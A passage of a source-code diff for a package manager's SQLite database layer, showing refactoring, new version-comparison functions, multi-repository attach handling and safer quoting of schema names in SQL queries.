				pkg_emit_error("Wrong type for column: %s", colname);
-
				/* just ignore currently */
-
				break;
-
			case SQLITE_NULL:
-
				break;
+
			}
+
			if (columns[i].name == NULL)
+
				pkg_emit_error("Unknown column %s",
+
				    colname);
+
			break;
+
		case SQLITE_BLOB:
+
		case SQLITE_FLOAT:
+
			pkg_emit_error("Wrong type for column: %s",
+
			    colname);
+
			/* just ignore currently */
+
			break;
+
		case SQLITE_NULL:
+
			break;
		}
	}
}
@@ -214,14 +236,15 @@ populate_pkg(sqlite3_stmt *stmt, struct pkg *pkg) {
static void
pkgdb_regex(sqlite3_context *ctx, int argc, sqlite3_value **argv, int reg_type)
{
-
	const unsigned char *regex = NULL;
-
	const unsigned char *str;
-
	regex_t *re;
-
	int ret;
+
	const unsigned char	*regex = NULL;
+
	const unsigned char	*str;
+
	regex_t			*re;
+
	int			 ret;

	if (argc != 2 || (regex = sqlite3_value_text(argv[0])) == NULL ||
		(str = sqlite3_value_text(argv[1])) == NULL) {
-
		sqlite3_result_error(ctx, "SQL function regex() called with invalid arguments.\n", -1);
+
		sqlite3_result_error(ctx, "SQL function regex() called "
+
		    "with invalid arguments.\n", -1);
		return;
	}

@@ -256,7 +279,7 @@ pkgdb_regex_extended(sqlite3_context *ctx, int argc, sqlite3_value **argv)
static void
pkgdb_regex_delete(void *p)
{
-
	regex_t *re = (regex_t *)p;
+
	regex_t	*re = (regex_t *)p;

	regfree(re);
	free(re);
@@ -266,7 +289,8 @@ static void
pkgdb_now(sqlite3_context *ctx, int argc, __unused sqlite3_value **argv)
{
	if (argc != 0) {
-
		sqlite3_result_error(ctx, "Invalid usage of now() no arguments expected\n", -1);
+
		sqlite3_result_error(ctx, "Invalid usage of now() "
+
		    "no arguments expected\n", -1);
		return;
	}

@@ -276,8 +300,8 @@ pkgdb_now(sqlite3_context *ctx, int argc, __unused sqlite3_value **argv)
static void
pkgdb_myarch(sqlite3_context *ctx, int argc, sqlite3_value **argv)
{
-
	const unsigned char *arch = NULL;
-
	char myarch[BUFSIZ];
+
	const unsigned char	*arch = NULL;
+
	char			 myarch[BUFSIZ];

	if (argc > 1) {
		sqlite3_result_error(ctx, "Invalid usage of myarch\n", -1);
@@ -293,41 +317,72 @@ pkgdb_myarch(sqlite3_context *ctx, int argc, sqlite3_value **argv)
}

static void
-
pkgdb_pkgcmp(sqlite3_context *ctx, int argc, sqlite3_value **argv, int sign)
+
pkgdb_pkgcmp(sqlite3_context *ctx, int argc, sqlite3_value **argv,
+
	     unsigned sign)
{
-
	const unsigned char *version1 = NULL;
-
	const unsigned char *version2 = NULL;
+
	const unsigned char	*version1 = NULL;
+
	const unsigned char	*version2 = NULL;
+
	int			 res = 0;
+

	if (argc != 2 || (version1 = sqlite3_value_text(argv[0])) == NULL
-
			|| (version2 = sqlite3_value_text(argv[1])) == NULL) {
+
		      || (version2 = sqlite3_value_text(argv[1])) == NULL) {
		sqlite3_result_error(ctx, "Invalid comparison\n", -1);
		return;
	}

-
	sqlite3_result_int(ctx, (pkg_version_cmp(version1, version2) == sign));
+
	switch (pkg_version_cmp(version1, version2)) {
+
	case -1:
+
		if ((sign & PKGLT) == PKGLT)
+
			res = 1;
+
		break;
+
	case 0:
+
		if ((sign & PKGEQ) == PKGEQ)
+
			res = 1;
+
		break;
+
	case 1:
+
		if ((sign & PKGGT) == PKGGT)
+
			res = 1;
+
		break;
+
	}
+

+
	sqlite3_result_int(ctx, res);
}

static void
pkgdb_pkglt(sqlite3_context *ctx, int argc, sqlite3_value **argv)
{
-
	pkgdb_pkgcmp(ctx, argc, argv, -1);
+
	pkgdb_pkgcmp(ctx, argc, argv, PKGLT);
}

static void
pkgdb_pkggt(sqlite3_context *ctx, int argc, sqlite3_value **argv)
{
-
	pkgdb_pkgcmp(ctx, argc, argv, 1);
+
	pkgdb_pkgcmp(ctx, argc, argv, PKGGT);
+
}
+

+
static void
+
pkgdb_pkgle(sqlite3_context *ctx, int argc, sqlite3_value **argv)
+
{
+
	pkgdb_pkgcmp(ctx, argc, argv, PKGLT|PKGEQ);
+
}
+

+
static void
+
pkgdb_pkgge(sqlite3_context * ctx, int argc, sqlite3_value **argv)
+
{
+
	pkgdb_pkgcmp(ctx, argc, argv, PKGGT|PKGEQ);
}

static int
pkgdb_upgrade(struct pkgdb *db)
{
-
	int64_t db_version = -1;
-
	const char *sql_upgrade;
-
	int i;
+
	int64_t		 db_version = -1;
+
	const char	*sql_upgrade;
+
	int		 i, ret;

	assert(db != NULL);

-
	if (get_pragma(db->sqlite, "PRAGMA user_version;", &db_version) != EPKG_OK)
+
	ret = get_pragma(db->sqlite, "PRAGMA user_version;", &db_version);
+
	if (ret != EPKG_OK)
		return (EPKG_FATAL);

	if (db_version == DBVERSION)
@@ -338,8 +393,10 @@ pkgdb_upgrade(struct pkgdb *db)
	}

	while (db_version < DBVERSION) {
+
		const char *sql_str;
		if (sqlite3_db_readonly(db->sqlite, "main")) {
-
			pkg_emit_error("The database is outdated and opened readonly");
+
			pkg_emit_error("The database is outdated and "
+
			    "opened readonly");
			return (EPKG_FATAL);
		}
		db_version++;
@@ -356,12 +413,12 @@ pkgdb_upgrade(struct pkgdb *db)

		/*
		 * We can't find the statements to upgrade to the next version,
-
		 * maybe because the current version is too old and upgrade support has
-
		 * been removed.
+
		 * maybe because the current version is too old and upgrade
+
		 * support has been removed.
		 */
		if (sql_upgrade == NULL) {
			pkg_emit_error("can not upgrade to db version %" PRId64,
-
						   db_version);
+
			    db_version);
			return (EPKG_FATAL);
		}

@@ -371,7 +428,9 @@ pkgdb_upgrade(struct pkgdb *db)
		if (sql_exec(db->sqlite, sql_upgrade) != EPKG_OK)
			return (EPKG_FATAL);

-
		if (sql_exec(db->sqlite, "PRAGMA user_version = %" PRId64 ";", db_version) != EPKG_OK)
+
		sql_str = "PRAGMA user_version = %" PRId64 ";";
+
		ret = sql_exec(db->sqlite, sql_str, db_version);
+
		if (ret != EPKG_OK)
			return (EPKG_FATAL);

		if (sql_exec(db->sqlite, "COMMIT;") != EPKG_OK)
@@ -398,7 +457,7 @@ pkgdb_upgrade(struct pkgdb *db)
static int
pkgdb_init(sqlite3 *sdb)
{
-
	const char sql[] = ""
+
	const char	sql[] = ""
	"BEGIN;"
	"CREATE TABLE packages ("
		"id INTEGER PRIMARY KEY,"
@@ -536,11 +595,11 @@ pkgdb_init(sqlite3 *sdb)
	"CREATE INDEX pkg_shlibs_package_id ON pkg_shlibs (package_id);"
	"CREATE INDEX pkg_directories_directory_id ON pkg_directories (directory_id);"

-
	"PRAGMA user_version = 12;"
+
	"PRAGMA user_version = %d;"
	"COMMIT;"
	;

-
	return (sql_exec(sdb, sql));
+
	return (sql_exec(sdb, sql, DBVERSION));
}

/**
@@ -549,10 +608,10 @@ pkgdb_init(sqlite3 *sdb)
int
pkgdb_remote_init(struct pkgdb *db, const char *repo)
{
-
	struct sbuf *sql = NULL;
-
	const char *reponame = NULL;
-
	int ret;
-
	const char init_sql[] = ""
+
	struct sbuf	*sql = NULL;
+
	const char	*reponame = NULL;
+
	int		 ret;
+
	const char	 init_sql[] = ""
	"BEGIN;"
	"CREATE INDEX '%s'.deps_origin on deps(origin);"
	"COMMIT;"
@@ -570,20 +629,95 @@ pkgdb_remote_init(struct pkgdb *db, const char *repo)
	return (ret);
}

+
static int
+
pkgdb_open_multirepos(const char *dbdir, struct pkgdb *db)
+
{
+
	int		 ret;
+
	char		 remotepath[MAXPATHLEN + 1];
+
	struct pkg_config_kv *repokv = NULL;
+
	const char	*multirepo_warning =
+
	    "\t/!\\             WARNING WARNING WARNING             /!\\\n"
+
	    "\t/!\\        WORKING ON MULTIPLE REPOSITORIES         /!\\\n"
+
	    "\t/!\\  THIS FEATURE IS STILL CONSIDERED EXPERIMENTAL  /!\\\n"
+
	    "\t/!\\              YOU HAVE BEEN WARNED               /!\\\n\n";
+

+
	fprintf(stderr, "%s", multirepo_warning);
+

+
	while (pkg_config_list(PKG_CONFIG_REPOS, &repokv) == EPKG_OK) {
+
		const char *repo_name = pkg_config_kv_get(repokv,
+
		    PKG_CONFIG_KV_KEY);
+

+
		/* is it a reserved name? */
+
		if ((strcmp(repo_name, "repo") == 0) ||
+
		    (strcmp(repo_name, "main") == 0) ||
+
		    (strcmp(repo_name, "temp") == 0) ||
+
		    (strcmp(repo_name, "local") == 0))
+
			continue;
+

+
		/* is it already attached? */
+
		if (is_attached(db->sqlite, repo_name)) {
+
			pkg_emit_error("repository '%s' is already "
+
			    "listed, ignoring", repo_name);
+
			continue;
+
		}
+

+
		snprintf(remotepath, sizeof(remotepath), "%s/%s.sqlite",
+
		    dbdir, repo_name);
+

+
		if (access(remotepath, R_OK) != 0) {
+
			pkg_emit_noremotedb(repo_name);
+
			pkgdb_close(db);
+
			return (EPKG_ENODB);
+
		}
+

+
		ret = sql_exec(db->sqlite, "ATTACH '%s' AS '%s';",
+
		    remotepath, repo_name);
+
		if (ret != EPKG_OK) {
+
			pkgdb_close(db);
+
			return (EPKG_FATAL);
+
		}
+

+
		switch (pkg_check_repo_version(db, repo_name)) {
+
		case EPKG_FATAL:
+
			pkgdb_close(db);
+
			return (EPKG_FATAL);
+
			break;
+
		case EPKG_REPOSCHEMA:
+
			ret = sql_exec(db->sqlite, "DETACH DATABASE '%s'",
+
			    repo_name);
+
			if (ret != EPKG_OK) {
+
				pkgdb_close(db);
+
				return (EPKG_FATAL);
+
			}
+
			break;
+
		default:
+
			break;
+
		}
+

+
		/* check if default repository exists */
+
		if (!is_attached(db->sqlite, "default")) {
+
			pkg_emit_error("no default repository defined");
+
			pkgdb_close(db);
+
			return (EPKG_FATAL);
+
		}
+
	}
+
	return (EPKG_OK);
+
}
+

int
pkgdb_open(struct pkgdb **db_p, pkgdb_t type)
{
-
	struct pkgdb *db = NULL;
-
	bool reopen = false;
-
	char localpath[MAXPATHLEN + 1];
-
	char remotepath[MAXPATHLEN + 1];
-
	const char *dbdir = NULL;
-
	const char *repo_name = NULL;
-
	bool multirepos_enabled = false;
-
	bool create = false;
-
	struct pkg_config_kv *repokv = NULL;
+
	struct pkgdb	*db = NULL;
+
	bool		 reopen = false;
+
	char		 localpath[MAXPATHLEN + 1];
+
	char		 remotepath[MAXPATHLEN + 1];
+
	const char	*dbdir = NULL;
+
	bool		 multirepos_enabled = false;
+
	bool		 create = false;
+
	int		 ret;

	if (*db_p != NULL) {
+
		assert((*db_p)->lock_count == 0);
		reopen = true;
		db = *db_p;
		if (db->type == type)
@@ -599,6 +733,8 @@ pkgdb_open(struct pkgdb **db_p, pkgdb_t type)
	}

	db->type = type;
+
	db->lock_count = 0;
+
	db->prstmt_initialized = false;

	if (!reopen) {
		snprintf(localpath, sizeof(localpath), "%s/local.sqlite", dbdir);
@@ -609,7 +745,10 @@ pkgdb_open(struct pkgdb **db_p, pkgdb_t type)
				pkgdb_close(db);
				return (EPKG_ENODB);
			} else if (eaccess(dbdir, W_OK) != 0) {
-
				/* If we need to create the db but can not write to it, fail early */
+
				/*
+
				 * If we need to create the db but cannot
+
				 * write to it, fail early
+
				 */
				pkg_emit_nolocaldb();
				pkgdb_close(db);
				return (EPKG_ENODB);
@@ -644,67 +783,27 @@ pkgdb_open(struct pkgdb **db_p, pkgdb_t type)
		}

		/*
-
		 * allow foreign key option which will allow to have clean support for
-
		 * reinstalling
+
		 * allow foreign key option which will allow to have
+
		 * clean support for reinstalling
		 */
-
		if (sql_exec(db->sqlite, "PRAGMA foreign_keys = ON;") != EPKG_OK) {
+
		ret = sql_exec(db->sqlite, "PRAGMA foreign_keys = ON;");
+
		if (ret != EPKG_OK) {
			pkgdb_close(db);
			return (EPKG_FATAL);
		}
	}

+
	pkg_config_bool(PKG_CONFIG_MULTIREPOS, &multirepos_enabled);
	if (type == PKGDB_REMOTE) {
-
		pkg_config_bool(PKG_CONFIG_MULTIREPOS, &multirepos_enabled);
-

-
		if (multirepos_enabled) {
-
			fprintf(stderr, "\t/!\\		   WARNING WARNING WARNING		/!\\\n");
-
			fprintf(stderr, "\t/!\\	     WORKING ON MULTIPLE REPOSITORIES		/!\\\n");
-
			fprintf(stderr, "\t/!\\  THIS FEATURE IS STILL CONSIDERED EXPERIMENTAL	/!\\\n");
-
			fprintf(stderr, "\t/!\\		     YOU HAVE BEEN WARNED		/!\\\n\n");
-

-
			while (pkg_config_list(PKG_CONFIG_REPOS, &repokv) == EPKG_OK) {
-
				repo_name = pkg_config_kv_get(repokv, PKG_CONFIG_KV_KEY);
-

-
				/* is it a reserved name? */
-
				if ((strcmp(repo_name, "repo") == 0) ||
-
				    (strcmp(repo_name, "main") == 0) ||
-
				    (strcmp(repo_name, "temp") == 0) ||
-
				    (strcmp(repo_name, "local") == 0))
-
					continue;
-

-
				/* is it already attached? */
-
				if (is_attached(db->sqlite, repo_name)) {
-
					pkg_emit_error("repository '%s' is already listed, ignoring", repo_name);
-
					continue;
-
				}
-

-
				snprintf(remotepath, sizeof(remotepath), "%s/%s.sqlite",
-
						dbdir, repo_name);
-

-
				if (access(remotepath, R_OK) != 0) {
-
					pkg_emit_noremotedb(repo_name);
-
					pkgdb_close(db);
-
					return (EPKG_ENODB);
-
				}
-

-
				if (sql_exec(db->sqlite, "ATTACH '%q' AS '%q';", remotepath, repo_name) != EPKG_OK) {
-
					pkgdb_close(db);
-
					return (EPKG_FATAL);
-
				}
-

-
				/* check if default repository exists */
-
				if (!is_attached(db->sqlite, "default")) {
-
					pkg_emit_error("no default repository defined");
-
					pkgdb_close(db);
-
					return (EPKG_FATAL);
-
				}
-
			}
-
		} else {
+
		if (multirepos_enabled)
+
			pkgdb_open_multirepos(dbdir, db);
+
		else {
			/*
			 * Working on a single remote repository
			 */

-
			snprintf(remotepath, sizeof(remotepath), "%s/repo.sqlite", dbdir);
+
			snprintf(remotepath, sizeof(remotepath),
+
			    "%s/repo.sqlite", dbdir);

			if (access(remotepath, R_OK) != 0) {
				pkg_emit_noremotedb("repo");
@@ -712,10 +811,18 @@ pkgdb_open(struct pkgdb **db_p, pkgdb_t type)
				return (EPKG_ENODB);
			}

-
			if (sql_exec(db->sqlite, "ATTACH '%q' AS 'remote';", remotepath) != EPKG_OK) {
+
			ret = sql_exec(db->sqlite, "ATTACH '%q' AS 'remote';",
+
			    remotepath);
+
			if (ret != EPKG_OK) {
				pkgdb_close(db);
				return (EPKG_FATAL);
			}
+

+
			ret = pkg_check_repo_version(db, "remote");
+
			if (ret != EPKG_OK) {
+
				pkgdb_close(db);
+
				return (ret);
+
			}
		}
	}

@@ -729,7 +836,11 @@ pkgdb_close(struct pkgdb *db)
	if (db == NULL)
		return;

+
	if (db->prstmt_initialized)
+
		prstmt_finalize(db);
+

	if (db->sqlite != NULL) {
+
		assert(db->lock_count == 0);
		if (db->type == PKGDB_REMOTE) {
			pkgdb_detach_remotes(db->sqlite);
		}
@@ -744,7 +855,7 @@ pkgdb_close(struct pkgdb *db)
static struct pkgdb_it *
pkgdb_it_new(struct pkgdb *db, sqlite3_stmt *s, int type)
{
-
	struct pkgdb_it *it;
+
	struct pkgdb_it	*it;

	assert(db != NULL && s != NULL);

@@ -761,30 +872,30 @@ pkgdb_it_new(struct pkgdb *db, sqlite3_stmt *s, int type)
}

static struct load_on_flag {
-
	int flag;
-
	int (*load)(struct pkgdb *db, struct pkg *p);
+
	int	flag;
+
	int	(*load)(struct pkgdb *db, struct pkg *p);
} load_on_flag[] = {
-
	{ PKG_LOAD_DEPS, pkgdb_load_deps },
-
	{ PKG_LOAD_RDEPS, pkgdb_load_rdeps },
-
	{ PKG_LOAD_FILES, pkgdb_load_files },
-
	{ PKG_LOAD_DIRS, pkgdb_load_dirs },
-
	{ PKG_LOAD_SCRIPTS, pkgdb_load_scripts },
-
	{ PKG_LOAD_OPTIONS, pkgdb_load_options },
-
	{ PKG_LOAD_MTREE, pkgdb_load_mtree },
-
	{ PKG_LOAD_CATEGORIES, pkgdb_load_category },
-
	{ PKG_LOAD_LICENSES, pkgdb_load_license },
-
	{ PKG_LOAD_USERS, pkgdb_load_user },
-
	{ PKG_LOAD_GROUPS, pkgdb_load_group },
-
	{ PKG_LOAD_SHLIBS, pkgdb_load_shlib },
-
	{ -1, NULL }
+
	{ PKG_LOAD_DEPS,	pkgdb_load_deps },
+
	{ PKG_LOAD_RDEPS,	pkgdb_load_rdeps },
+
	{ PKG_LOAD_FILES,	pkgdb_load_files },
+
	{ PKG_LOAD_DIRS,	pkgdb_load_dirs },
+
	{ PKG_LOAD_SCRIPTS,	pkgdb_load_scripts },
+
	{ PKG_LOAD_OPTIONS,	pkgdb_load_options },
+
	{ PKG_LOAD_MTREE,	pkgdb_load_mtree },
+
	{ PKG_LOAD_CATEGORIES,	pkgdb_load_category },
+
	{ PKG_LOAD_LICENSES,	pkgdb_load_license },
+
	{ PKG_LOAD_USERS,	pkgdb_load_user },
+
	{ PKG_LOAD_GROUPS,	pkgdb_load_group },
+
	{ PKG_LOAD_SHLIBS,	pkgdb_load_shlib },
+
	{ -1,			NULL }
};

int
-
pkgdb_it_next(struct pkgdb_it *it, struct pkg **pkg_p, int flags)
+
pkgdb_it_next(struct pkgdb_it *it, struct pkg **pkg_p, unsigned flags)
{
-
	struct pkg *pkg;
-
	int i;
-
	int ret;
+
	struct pkg	*pkg;
+
	int		 i;
+
	int		 ret;

	assert(it != NULL);

@@ -799,9 +910,11 @@ pkgdb_it_next(struct pkgdb_it *it, struct pkg **pkg_p, int flags)
		populate_pkg(it->stmt, pkg);

		for (i = 0; load_on_flag[i].load != NULL; i++) {
-
			if (flags & load_on_flag[i].flag)
-
				if ((ret = load_on_flag[i].load(it->db, pkg)) != EPKG_OK)
+
			if (flags & load_on_flag[i].flag) {
+
				ret = load_on_flag[i].load(it->db, pkg);
+
				if (ret != EPKG_OK)
					return (ret);
+
			}
		}

		return (EPKG_OK);
@@ -832,8 +945,8 @@ pkgdb_it_free(struct pkgdb_it *it)
static const char *
pkgdb_get_pattern_query(const char *pattern, match_t match)
{
-
	char *checkorigin = NULL;
-
	const char *comp = NULL;
+
	char		*checkorigin = NULL;
+
	const char	*comp = NULL;

	if (pattern != NULL)
		checkorigin = strchr(pattern, '/');
@@ -881,28 +994,28 @@ pkgdb_get_pattern_query(const char *pattern, match_t match)
static const char *
pkgdb_get_match_how(match_t match)
{
-
	const char *how = NULL;
+
	const char	*how = NULL;

	switch (match) {
-
		case MATCH_ALL:
-
			how = NULL;
-
			break;
-
		case MATCH_EXACT:
-
			how = "%s = ?1";
-
			break;
-
		case MATCH_GLOB:
-
			how = "%s GLOB ?1";
-
			break;
-
		case MATCH_REGEX:
-
			how = "%s REGEXP ?1";
-
			break;
-
		case MATCH_EREGEX:
-
			how = "EREGEXP(?1, %s)";
-
			break;
-
		case MATCH_CONDITION:
-
			/* This case should not be called by pkgdb_get_match_how() */
-
			assert(0);
-
			break;
+
	case MATCH_ALL:
+
		how = NULL;
+
		break;
+
	case MATCH_EXACT:
+
		how = "%s = ?1";
+
		break;
+
	case MATCH_GLOB:
+
		how = "%s GLOB ?1";
+
		break;
+
	case MATCH_REGEX:
+
		how = "%s REGEXP ?1";
+
		break;
+
	case MATCH_EREGEX:
+
		how = "EREGEXP(?1, %s)";
+
		break;
+
	case MATCH_CONDITION:
+
		/* Should not be called by pkgdb_get_match_how(). */
+
		assert(0);
+
		break;
	}

	return (how);
@@ -911,16 +1024,16 @@ pkgdb_get_match_how(match_t match)
struct pkgdb_it *
pkgdb_query(struct pkgdb *db, const char *pattern, match_t match)
{
-
	char sql[BUFSIZ];
-
	sqlite3_stmt *stmt;
-
	const char *comp = NULL;
+
	char		 sql[BUFSIZ];
+
	sqlite3_stmt	*stmt;
+
	const char	*comp = NULL;

	assert(db != NULL);
	assert(match == MATCH_ALL || (pattern != NULL && pattern[0] != '\0'));

	comp = pkgdb_get_pattern_query(pattern, match);

-
	snprintf(sql, sizeof(sql),
+
	sqlite3_snprintf(sizeof(sql), sql,
			"SELECT id, origin, name, version, comment, desc, "
				"message, arch, maintainer, www, "
				"prefix, flatsize, licenselogic, automatic, "
@@ -942,8 +1055,8 @@ pkgdb_query(struct pkgdb *db, const char *pattern, match_t match)
struct pkgdb_it *
pkgdb_query_which(struct pkgdb *db, const char *path)
{
-
	sqlite3_stmt *stmt;
-
	const char sql[] = ""
+
	sqlite3_stmt	*stmt;
+
	const char	 sql[] = ""
		"SELECT p.id, p.origin, p.name, p.version, p.comment, p.desc, "
			"p.message, p.arch, p.maintainer, p.www, "
			"p.prefix, p.flatsize, p.time, p.infos "
@@ -966,8 +1079,8 @@ pkgdb_query_which(struct pkgdb *db, const char *path)
struct pkgdb_it *
pkgdb_query_shlib(struct pkgdb *db, const char *shlib)
{
-
	sqlite3_stmt *stmt;
-
	const char sql[] = ""
+
	sqlite3_stmt	*stmt;
+
	const char	 sql[] = ""
		"SELECT p.id, p.origin, p.name, p.version, p.comment, p.desc, "
			"p.message, p.arch, p.maintainer, p.www, "
			"p.prefix, p.flatsize, p.time, p.infos "
@@ -991,10 +1104,9 @@ pkgdb_query_shlib(struct pkgdb *db, const char *shlib)
int
pkgdb_is_dir_used(struct pkgdb *db, const char *dir, int64_t *res)
{
-
	sqlite3_stmt *stmt;
-
	int ret;
-

-
	const char sql[] = ""
+
	sqlite3_stmt	*stmt;
+
	int		 ret;
+
	const char	 sql[] = ""
		"SELECT count(package_id) FROM pkg_directories, directories "
		"WHERE directory_id = directories.id AND directories.path = ?1;";

@@ -1027,14 +1139,14 @@ pkgdb_is_dir_used(struct pkgdb *db, const char *dir, int64_t *res)
int
pkgdb_load_deps(struct pkgdb *db, struct pkg *pkg)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int ret = EPKG_OK;
-
	char sql[BUFSIZ];
-
	const char *reponame = NULL;
-
	const char *basesql = ""
-
			"SELECT d.name, d.origin, d.version "
-
			"FROM '%s'.deps AS d "
-
			"WHERE d.package_id = ?1;";
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 ret = EPKG_OK;
+
	char		 sql[BUFSIZ];
+
	const char	*reponame = NULL;
+
	const char	*basesql = ""
+
		"SELECT d.name, d.origin, d.version "
+
		"FROM %Q.deps AS d "
+
		"WHERE d.package_id = ?1;";

	assert(db != NULL && pkg != NULL);

@@ -1044,9 +1156,9 @@ pkgdb_load_deps(struct pkgdb *db, struct pkg *pkg)
	if (pkg->type == PKG_REMOTE) {
		assert(db->type == PKGDB_REMOTE);
		pkg_get(pkg, PKG_REPONAME, &reponame);
-
		snprintf(sql, sizeof(sql), basesql, reponame);
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, reponame);
	} else
-
		snprintf(sql, sizeof(sql), basesql, "main");
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, "main");

	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt, NULL) != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
@@ -1056,8 +1168,8 @@ pkgdb_load_deps(struct pkgdb *db, struct pkg *pkg)
	sqlite3_bind_int64(stmt, 1, pkg->rowid);

	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
-
		pkg_adddep(pkg, sqlite3_column_text(stmt, 0), sqlite3_column_text(stmt, 1),
-
				   sqlite3_column_text(stmt, 2));
+
		pkg_adddep(pkg, sqlite3_column_text(stmt, 0),
+
		    sqlite3_column_text(stmt, 1), sqlite3_column_text(stmt, 2));
	}
	sqlite3_finalize(stmt);

@@ -1074,14 +1186,14 @@ pkgdb_load_deps(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_rdeps(struct pkgdb *db, struct pkg *pkg)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int ret;
-
	const char *origin;
-
	const char *reponame = NULL;
-
	char sql[BUFSIZ];
-
	const char *basesql = ""
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 ret;
+
	const char	*origin;
+
	const char	*reponame = NULL;
+
	char		 sql[BUFSIZ];
+
	const char	*basesql = ""
		"SELECT p.name, p.origin, p.version "
-
		"FROM '%s'.packages AS p, '%s'.deps AS d "
+
		"FROM %Q.packages AS p, %Q.deps AS d "
		"WHERE p.id = d.package_id "
			"AND d.origin = ?1;";

@@ -1093,9 +1205,9 @@ pkgdb_load_rdeps(struct pkgdb *db, struct pkg *pkg)
	if (pkg->type == PKG_REMOTE) {
		assert(db->type == PKGDB_REMOTE);
		pkg_get(pkg, PKG_REPONAME, &reponame);
-
		snprintf(sql, sizeof(sql), basesql, reponame, reponame);
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, reponame, reponame);
	} else
-
		snprintf(sql, sizeof(sql), basesql, "main", "main");
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, "main", "main");

	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt, NULL) != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
@@ -1106,8 +1218,8 @@ pkgdb_load_rdeps(struct pkgdb *db, struct pkg *pkg)
	sqlite3_bind_text(stmt, 1, origin, -1, SQLITE_STATIC);

	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
-
		pkg_addrdep(pkg, sqlite3_column_text(stmt, 0), sqlite3_column_text(stmt, 1),
-
				   sqlite3_column_text(stmt, 2));
+
		pkg_addrdep(pkg, sqlite3_column_text(stmt, 0),
+
		    sqlite3_column_text(stmt, 1), sqlite3_column_text(stmt, 2));
	}
	sqlite3_finalize(stmt);

@@ -1124,9 +1236,9 @@ pkgdb_load_rdeps(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_files(struct pkgdb *db, struct pkg *pkg)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int ret;
-
	const char sql[] = ""
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 ret;
+
	const char	 sql[] = ""
		"SELECT path, sha256 "
		"FROM files "
		"WHERE package_id = ?1 "
@@ -1146,7 +1258,8 @@ pkgdb_load_files(struct pkgdb *db, struct pkg *pkg)
	sqlite3_bind_int64(stmt, 1, pkg->rowid);

	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
-
		pkg_addfile(pkg, sqlite3_column_text(stmt, 0), sqlite3_column_text(stmt, 1), false);
+
		pkg_addfile(pkg, sqlite3_column_text(stmt, 0),
+
		    sqlite3_column_text(stmt, 1), false);
	}
	sqlite3_finalize(stmt);

@@ -1163,14 +1276,14 @@ pkgdb_load_files(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_dirs(struct pkgdb *db, struct pkg *pkg)
{
-
	const char sql[] = ""
+
	const char	 sql[] = ""
		"SELECT path, try "
		"FROM pkg_directories, directories "
		"WHERE package_id = ?1 "
		"AND directory_id = directories.id "
		"ORDER by path DESC";
-
	sqlite3_stmt *stmt;
-
	int ret;
+
	sqlite3_stmt	*stmt;
+
	int		 ret;

	assert(db != NULL && pkg != NULL);
	assert(pkg->type == PKG_INSTALLED);
@@ -1185,8 +1298,9 @@ pkgdb_load_dirs(struct pkgdb *db, struct pkg *pkg)

	sqlite3_bind_int64(stmt, 1, pkg->rowid);

-
	while (( ret = sqlite3_step(stmt)) == SQLITE_ROW) {
-
		pkg_adddir(pkg, sqlite3_column_text(stmt, 0), sqlite3_column_int(stmt, 1));
+
	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
+
		pkg_adddir(pkg, sqlite3_column_text(stmt, 0),
+
		    sqlite3_column_int(stmt, 1), false);
	}

	sqlite3_finalize(stmt);
@@ -1204,49 +1318,51 @@ pkgdb_load_dirs(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_license(struct pkgdb *db, struct pkg *pkg)
{
-
	char sql[BUFSIZ];
-
	const char *reponame = NULL;
-
	const char *basesql = ""
-
			"SELECT name "
-
			"FROM '%s'.pkg_licenses, '%s'.licenses AS l "
-
			"WHERE package_id = ?1 "
+
	char		 sql[BUFSIZ];
+
	const char	*reponame = NULL;
+
	const char	*basesql = ""
+
		"SELECT name "
+
		"FROM %Q.pkg_licenses, %Q.licenses AS l "
+
		"WHERE package_id = ?1 "
			"AND license_id = l.id "
-
			"ORDER by name DESC";
+
		"ORDER by name DESC";

	assert(db != NULL && pkg != NULL);

	if (pkg->type == PKG_REMOTE) {
		assert(db->type == PKGDB_REMOTE);
		pkg_get(pkg, PKG_REPONAME, &reponame);
-
		snprintf(sql, sizeof(sql), basesql, reponame, reponame);
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, reponame, reponame);
	} else
-
		snprintf(sql, sizeof(sql), basesql, "main", "main");
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, "main", "main");

-
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_LICENSES, pkg_addlicense, PKG_LICENSES));
+
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_LICENSES,
+
	    pkg_addlicense, PKG_LICENSES));
}

int
pkgdb_load_category(struct pkgdb *db, struct pkg *pkg)
{
-
	char sql[BUFSIZ];
-
	const char *reponame = NULL;
-
	const char *basesql = ""
-
			"SELECT name "
-
			"FROM '%s'.pkg_categories, '%s'.categories AS c "
-
			"WHERE package_id = ?1 "
+
	char		 sql[BUFSIZ];
+
	const char	*reponame = NULL;
+
	const char	*basesql = ""
+
		"SELECT name "
+
		"FROM %Q.pkg_categories, %Q.categories AS c "
+
		"WHERE package_id = ?1 "
			"AND category_id = c.id "
-
			"ORDER by name DESC";
-

+
		"ORDER by name DESC";
+
	
	assert(db != NULL && pkg != NULL);

	if (pkg->type == PKG_REMOTE) {
		assert(db->type == PKGDB_REMOTE);
		pkg_get(pkg, PKG_REPONAME, &reponame);
-
		snprintf(sql, sizeof(sql), basesql, reponame, reponame);
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, reponame, reponame);
	} else
-
		snprintf(sql, sizeof(sql), basesql, "main", "main");
+
